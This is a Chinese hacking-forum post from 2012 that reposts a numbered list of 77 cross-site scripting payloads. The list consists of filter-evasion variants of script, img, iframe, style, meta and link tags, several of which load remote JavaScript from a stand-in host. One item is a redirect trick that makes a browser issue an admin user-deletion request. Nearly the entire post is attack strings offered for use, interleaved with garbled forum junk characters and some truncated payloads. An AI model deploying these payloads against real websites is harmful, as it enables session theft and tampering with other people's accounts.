找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3422|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
& d2 W! d7 b) D- T4 |( o2 |" B- p! b. N; u
(1)普通的XSS JavaScript注入+ s" l  K% I4 W" w3 I& P* p
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
# r6 V: r/ O& R5 t" N7 t
; s4 {9 @& l7 W+ s) n; D, Y  z) g (2)IMG标签XSS使用JavaScript命令
" {6 M! i) B$ [4 g0 R) \0 t <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
( R) X! X1 Z+ O  ?! m: `+ n- ~1 ]$ l9 E8 a4 f7 B) Y
(3)IMG标签无分号无引号3 j- r4 D6 A# b  b: ]
<IMG SRC=javascript:alert(‘XSS’)>
/ }: h7 X3 s% d, u! o% {% @+ e. c, }& n/ y1 @
(4)IMG标签大小写不敏感" m3 Y0 r4 z# {7 e* j
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>9 r2 I4 _* v: ]0 G% ?# }
  `+ a! B0 Q3 v; U" W( }6 w  w
(5)HTML编码(必须有分号)
* Z5 Z: S1 M* E0 U  m  { <IMG SRC=javascript:alert(“XSS”)>
" D1 ?* }8 u/ A5 x4 T, J. P
9 A) h: j6 x! N, ^- h3 p) N (6)修正缺陷IMG标签4 [6 u: V1 h; a( v& k6 l
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>+ f9 Y) v) Z1 \% ^( h) S: v
1 U( p# D: p) ~1 i+ f4 j& \
(7)formCharCode标签(计算器). O% r6 B2 ?8 ?) r7 C7 v
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>/ ^" @" N! S7 X$ b3 q9 ?

6 h* V, w3 D# j7 D (8)UTF-8的Unicode编码(计算器)2 l" ~5 _* m+ e* ]! T
<IMG SRC=jav..省略..S')>
: K* A# u6 u. Q' `9 C- T0 ?2 m/ D" @
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)5 \# E* U$ r" g3 T1 y2 x
<IMG SRC=jav..省略..S')>
/ H8 I) q2 i" M' [: ?9 E6 a6 M1 Y; w
, D, s1 `4 R0 R1 Z6 f, ~ (10)十六进制编码也是没有分号(计算器)
) e5 r* E9 x2 K! |  G' M. V" H <IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>. X  N% \2 |  e
" `" n. s2 ?; x  I8 W
(11)嵌入式标签,将Javascript分开! h6 W% m  o6 e6 t& _) ^& T
<IMG SRC=”jav ascript:alert(‘XSS’);”>: k( `# U2 t# E: [1 `
3 a* ?: e- ]) u6 G7 ~
(12)嵌入式编码标签,将Javascript分开
2 ^3 c0 v& n; q  `  a <IMG SRC=”jav ascript:alert(‘XSS’);”>
  `. Q4 u- Q' ?$ Z, B
+ {; M9 A' o8 B% L (13)嵌入式换行符/ X: e) ~6 [+ N! M, _  W
<IMG SRC=”jav ascript:alert(‘XSS’);”>* g. E2 t) o& c9 T- f
9 _' k# e8 L7 E9 G* F5 D0 w1 V0 a
(14)嵌入式回车9 o. s% G5 O4 Z) B
<IMG SRC=”jav ascript:alert(‘XSS’);”>: L8 j9 m3 A) ], j( ^  s

9 ]5 s0 X) U9 a- j (15)嵌入式多行注入JavaScript,这是XSS极端的例子
' m% z; p! q. `" W <IMG SRC=”javascript:alert(‘XSS‘)”>
' X4 p1 q, `& y8 f
. Z) U% y  ]) k2 [ (16)解决限制字符(要求同页面): {; n! z0 ]0 |3 G1 q, Y  w5 L
<script>z=’document.’</script>
; X1 a7 R% Q  z+ M3 J: F# P# g: l <script>z=z+’write(“‘</script>% i% A! I; z) g  |2 n& _
<script>z=z+’<script’</script>
; a5 s! B! q2 u" i4 A! o4 U <script>z=z+’ src=ht’</script>, z/ ]# S" c; d3 S+ v# A* _* B9 S
<script>z=z+’tp://ww’</script>( ?- J1 l, I* K1 f" F  l
<script>z=z+’w.shell’</script>
( c5 f& u! t9 M+ p* o9 r; I <script>z=z+’.net/1.’</script>& i! J5 o$ a/ P* D- X" v" R
<script>z=z+’js></sc’</script>7 S/ i5 s3 ^& b$ O
<script>z=z+’ript>”)’</script>! K# }  ^0 X1 w# m8 N* h& U0 O! H
<script>eval_r(z)</script>
0 y8 Q0 x# M8 i& C
9 A+ [4 ^9 P$ ~! ~1 } (17)空字符
# ~" S5 m$ [0 L& }, b perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
5 M# `: \# Q3 S4 [: y& j6 N% {8 {* _5 M) E7 y2 H5 W
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
& E- F% i3 @1 M& A perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out! P1 v7 X" L4 F' v9 [% Z

* t1 M$ f6 _  }% P# v (19)Spaces和meta前的IMG标签" b0 @) M+ F& F
<IMG SRC=”   javascript:alert(‘XSS’);”>- l5 W" P1 D1 h4 f  k, M
* _" R: Q: L" T. ^+ R
(20)Non-alpha-non-digit XSS
7 E9 G, Y; Y  e- ]& E4 o <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>: `; H  h0 N, u, p" V/ \
7 ~% o/ l- U1 P% _- A3 i, C
(21)Non-alpha-non-digit XSS to 2
. V- l6 Y6 ?' x: U* r <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
7 F% \$ b" ?7 j# Q8 Q" R2 z7 b5 F
6 e2 H0 o9 n/ A( X (22)Non-alpha-non-digit XSS to 3
% {% F- n( B1 |6 Q- a <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>) Q* j7 k0 v6 ^7 w$ x
5 U% q7 [! d7 S3 W! `; x6 L
(23)双开括号
$ T0 ]4 {5 X5 [* r( I) w2 t- N* G <<SCRIPT>alert(“XSS”);//<</SCRIPT>
4 b8 ]2 g! M7 Z2 i& F1 }' ~: s1 L) G. v) b& i  g* w, ?8 [
(24)无结束脚本标记(仅火狐等浏览器)
# O0 e7 C% {0 v+ [) C7 q+ t <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>$ @* o6 X+ D; U& y, n+ S2 c  U! Q3 ]6 r% W+ P
/ u$ C6 O" v, C+ e# i
(25)无结束脚本标记2
" N, i+ @4 h; f, v# ^/ \3 q <SCRIPT SRC=//3w.org/XSS/xss.js>
% e: U' c- p# a$ d' l6 F8 o1 i' P
8 O) s4 X9 W2 u8 R (26)半开的HTML/JavaScript XSS( l2 W! b% L! \
<IMG SRC=”javascript:alert(‘XSS’)”
4 W' H: n5 R2 p* ^) i; T5 r3 q
$ N3 v; N# r& h  K0 X' B  o (27)双开角括号/ O1 i1 R3 f7 I6 D0 t5 n9 z. E
<iframe src=http://3w.org/XSS.html <: D: m. G. S! E' g
: L7 o! m+ q3 W/ v$ F
(28)无单引号 双引号 分号& @* o! f, b7 h9 u5 [) ~
<SCRIPT>a=/XSS/
8 k, W. [1 c7 j/ v4 j alert(a.source)</SCRIPT># a9 |5 S& Q- D- q3 T: r$ M
3 r+ i) F$ T( F& o0 i  u# p
(29)换码过滤的JavaScript
6 C) U1 I/ z- W2 O \”;alert(‘XSS’);//
1 P# N3 K  w' w
9 C0 n( S5 w' w- L7 N (30)结束Title标签* F; e; ]: q5 T* _4 W/ i7 K
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>: ~0 c9 M9 `* `7 D! E( `3 s

! [* M/ S  Q" y5 D3 E (31)Input Image
, K) z7 [4 Y8 {1 Q  W+ s <INPUT SRC=”javascript:alert(‘XSS’);”>
7 }# t; e. ~1 x9 c) j, D% i) |$ P  h8 ?
(32)BODY Image4 R7 B3 k: z5 V, a: w5 p/ Z
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>" `8 t. _% e' L% G/ @7 f4 m

9 A# Y+ P5 F5 m* D (33)BODY标签: o1 _  l! s9 X% |- i1 G/ w
<BODY(‘XSS’)>+ j8 n% w; _4 v2 R) R1 h0 p2 Q4 Y! @
# j8 i' E+ H6 n$ a3 K
(34)IMG Dynsrc
: W5 _& p" d/ H) q8 n9 W" d <IMG DYNSRC=”javascript:alert(‘XSS’)”>0 Q% M. J0 H* Y( v# l* Y* _2 Y

* W- U- Q% t: p, D( A4 t  ] (35)IMG Lowsrc! w" L' W# b* w+ }1 V% l
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
2 ]$ {& n9 f# a3 d9 Y
# ^" ]6 s: ]+ {* e( G% V) U5 k (36)BGSOUND5 v! y4 ^# H; p4 u5 `, D
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
0 {0 S  o( m. z! s/ {( E
8 i7 R" a7 C" Y8 k2 U4 B, W. W% A9 u, \ (37)STYLE sheet
6 W7 y- h- P4 ?; F <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
+ T. B/ y3 M. Y  h/ @% Z7 [
' h+ n% W' M$ @; R3 t; ]5 c  Z (38)远程样式表
, E/ ~6 l0 A! R( g5 k' Q" D6 w4 m% O <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>4 t4 r; A/ ~! f1 \
0 l& @# u/ g7 d
(39)List-style-image(列表式)& F! ?# d6 e/ x" ?# W
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
7 c4 }& R* B& e. {  e
" J* w* @/ V- t' a& a (40)IMG VBscript& e( P' N) O. A* ]1 h
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS5 H: Z5 {2 ?  N  b  ?& N0 f! g
, ~( Q/ f& ?0 |+ A& k! S
(41)META链接url
0 C( h/ `1 [6 s) q <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>$ b: l$ ^4 c  L, K

0 I4 Z/ Q9 C) M* Z. `" q (42)Iframe9 c. ?% C* Y3 ^4 A- ?1 L. r& M
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
  \. B) P7 Z$ A
7 w; a: l& d, j (43)Frame
4 Q2 K1 c& U5 b: {7 i6 K; w <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>2 \9 ]7 `- S  \$ n% g
2 T/ t9 v9 ]2 o9 J
(44)Table
$ u0 W" j) ?( y$ g8 k, } <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>" l, Q! Z$ T! K8 \: T
- x% F7 @! L! G" D
(45)TD
4 \% }, T# A4 _0 p9 n <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>5 n! O$ `# Y6 S8 ~* v

& t" e5 u, x) F+ l6 A (46)DIV background-image, Y1 L. h) f& D* t3 n2 Q3 }! l
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
6 y  L4 P- y. i; C- |0 {% D! S3 m- f( _* q
7 r- ]! Y3 {5 O5 c2 [% y3 H1 v (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)# u$ v2 B3 h6 J' w7 W1 ^7 u
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
, A- _" H' _! l: `. Z3 K# y5 T
# Z/ s1 a' J; t (48)DIV expression
4 t2 L0 l* A: {: W! L2 c6 | <DIV STYLE=”width: expression_r(alert(‘XSS’));”>
3 Z0 F, ~8 b# W2 i% r# p9 z: i; F: ^, f* Q0 W/ |
(49)STYLE属性分拆表达
5 X, M% N- e6 y- l- `3 W1 C0 M <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
8 _* H3 q0 V, W5 M! b& _$ k, c* e" q& q4 z. m& W
(50)匿名STYLE(组成:开角号和一个字母开头)2 E! u: ]1 H, J
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
" N. D# p1 N7 ^/ N5 m- s; N7 g( D; a6 Y2 x* I
(51)STYLE background-image
% @+ N+ m% J, c# W; e& S! r <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>8 H+ x: J* T) r4 V3 q$ k8 M3 O
, \  c0 `( i* ]) f5 k
(52)IMG STYLE方式+ l- y/ W+ y& y( o8 r. {
exppression(alert(“XSS”))’>
0 C% r9 Y5 F% i
, i: b* P5 B% T1 W2 Q- i (53)STYLE background
* c! `7 K& ^3 P( q. F8 O <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>' u$ W/ `& d/ d3 P* K. M
9 Y( O+ {! K, d2 h/ I
(54)BASE2 Y6 X: [, A* E5 n
<BASE HREF=”javascript:alert(‘XSS’);//”>$ H" @' X% Z' R: o/ a$ I% |
6 n0 B& r* J' v5 d& K2 [# m
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS9 Y. w! H( L& e- |
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
' H" y- v4 u. I* j& b5 J2 q' Z
1 O# T/ [/ c9 w1 H (56)在flash中使用ActionScrpt可以混进你XSS的代码
; e+ V% e9 ?! {# M a=”get”;
, F, j: c) d7 h+ u( k b=”URL(\”";! C. \' w4 p9 }/ Q5 I) l
c=”javascript:”;
% o1 K5 G- x/ |5 Y2 p d=”alert(‘XSS’);\”)”;
' M- g9 j' @) j6 f: x eval_r(a+b+c+d);, W' e- x6 \0 g" g: t$ n  F5 J

0 e! P2 D1 l3 [0 f3 ]& m; r, D% F (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上0 s. |0 l7 j, K5 ]/ R; k6 ]: a
<HTML xmlns:xss>7 M: N8 Z% d% x" s3 I! j
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
* V: c% U9 ~0 Q& q <xss:xss>XSS</xss:xss>) V2 n; z& P7 H) j3 d6 d
</HTML>
8 W& N0 ~; a. O8 N" X* d% \0 ?  Y  l- R0 t4 y! F0 ^
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
5 K3 n% D* `; l$ } <SCRIPT SRC=””></SCRIPT>  U3 ?* Y. K, x+ y0 d6 a, ?- s4 [/ h

# c2 o" p) w, B* B5 r; j) a, e: Y (59)IMG嵌入式命令,可执行任意命令' F* Z( H2 }/ H# u- {5 g6 `" q/ X
<IMG SRC=”http://www.XXX.com/a.php?a=b”>/ T# v) n- A& Z0 N* x

) c$ _& ^: q2 G- B! W (60)IMG嵌入式命令(a.jpg在同服务器)
. T& b* R, @' b# U1 M/ ] Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser( l+ i( B" e, {& _; M
- w( O( ~2 o$ ]9 Z
(61)绕符号过滤
3 K% x. g- G( e: m+ v <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>) @. c0 h: S* J& ~

* V3 ~1 y$ ^( w, }3 b5 C" }/ M/ S5 X (62)/ P# X4 g6 w; G3 [  v! w
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>, g8 f& r8 w- N# k( c, a0 f

( a4 R) h) S6 s3 `* K$ j (63)
2 n4 M! W2 t' M$ e <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>8 Q. S. \  \7 P! ~% [5 k

6 t+ U# D% e2 u1 ]5 M (64)0 @& v( @9 a8 d3 q6 V# E
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
! V& e" U; b  }/ ?0 e( ~( {( f2 Q2 P, {3 R  X
(65)8 f+ k8 n) {4 C0 J( F- |
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
' p$ K$ `0 h' t/ z* W" [+ h8 s0 L5 {1 H  j1 j  ^4 @- F
(66)# f9 K0 N% w9 T: t! n! O; T; S, ^! A# |
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>2 H% j' a( Z9 c' T! C0 ^

# \- a8 E! i; y (67)
; P8 T4 `- y; j9 M1 z$ C <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT># v: o, \7 s0 k; V' g& b

- |# S* ?/ ~% ^$ \ (68)URL绕行
! M3 ^, I. [8 B- W, z: p- H; N <A HREF=”http://127.0.0.1/”>XSS</A>' P; N3 a" y  H) w4 s, P
8 ]) g% p6 |% Z2 h! C
(69)URL编码/ ~6 p+ G- ?  `$ D
<A HREF=”http://3w.org”>XSS</A>
( E9 H, a! ~1 ?, T% }9 t
) O7 ?- p7 L1 ]9 F9 q (70)IP十进制. j! V0 L- S1 ]: S2 ~# _3 K
<A HREF=”http://3232235521″>XSS</A>
* a5 I9 _: ^# O- \9 ~* j) S' ?; X, ?& S7 X- a9 }
(71)IP十六进制" h( v) D) D: J9 E6 A$ C6 Z3 D
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>/ M5 p2 A$ A( v+ t% G& J- [
3 T3 O9 E/ x5 y1 Z4 p! h
(72)IP八进制8 z6 N) t' j) F! O2 W
<A HREF=”http://0300.0250.0000.0001″>XSS</A>9 V5 K2 n# k# V% m6 ?( q1 ~

. @7 e7 \  C( u  x4 l. T  Q (73)混合编码
% j4 f& l! p, O* N <A HREF=”h
- L" [* n6 l% l5 Z  f2 w: ]- K" {* | tt p://6 6.000146.0×7.147/”">XSS</A>' l1 F4 S0 Q) b% y4 l
* |, ]+ w: U- m# i, _0 q
(74)节省[http:]' g( L7 a7 }5 ~6 A
<A HREF=”//www.google.com/”>XSS</A>( ]& H! U. N; A0 f8 V1 |( F7 m2 G

8 g5 X0 R" Q2 Q6 N1 ~ (75)节省[www]$ e& @0 n2 c" {$ `* H+ s8 \: @
<A HREF=”http://google.com/”>XSS</A>3 u7 k  @, S. n# z

# D$ r9 i$ Z  {: D. a (76)绝对点绝对DNS
. J- L* _7 i. ]8 P) m3 o1 c <A HREF=”http://www.google.com./”>XSS</A>! ~8 [: _1 ?5 e7 o6 v
( g& P& a* F; y) Z/ K) t. F, d0 M
(77)javascript链接  D5 D: l8 s2 J1 {1 ~4 ?
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表